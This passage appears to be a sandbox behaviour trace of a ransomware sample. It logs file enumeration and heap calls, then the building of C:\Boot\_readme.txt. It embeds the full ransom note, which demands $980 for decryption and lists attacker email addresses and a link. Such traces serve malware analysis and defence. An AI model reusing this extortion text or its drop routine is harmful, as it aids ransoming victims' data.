0x7a35bc8 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.374] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.374] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x214) returned 0x7a5d550 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35b50 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d80 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35da8 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e10 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e48 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ce0 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35d08 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35d30 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05eb8 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35d58 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c68 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35cb8 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a617c0 | out: hHeap=0x5010000) returned 1 [0111.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.375] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0xdac56b00, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xdac56b00, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdac56b00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0111.375] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0xdac56b00, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xdac56b00, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdac56b00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0111.375] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14110 | out: hHeap=0x5010000) returned 1 [0111.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05eb8 [0111.375] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05eb8 | out: hHeap=0x5010000) returned 1 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.378] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.380] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.380] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.380] PathFindFileNameW (pszPath="") returned="" [0111.380] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.380] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.380] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.380] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35cb8 | out: hHeap=0x5010000) returned 1 [0111.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.380] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0111.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35cb8 | out: hHeap=0x5010000) returned 1 [0111.381] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0111.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b14118 [0111.381] lstrcpyW (in: lpString1=0x7b14118, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 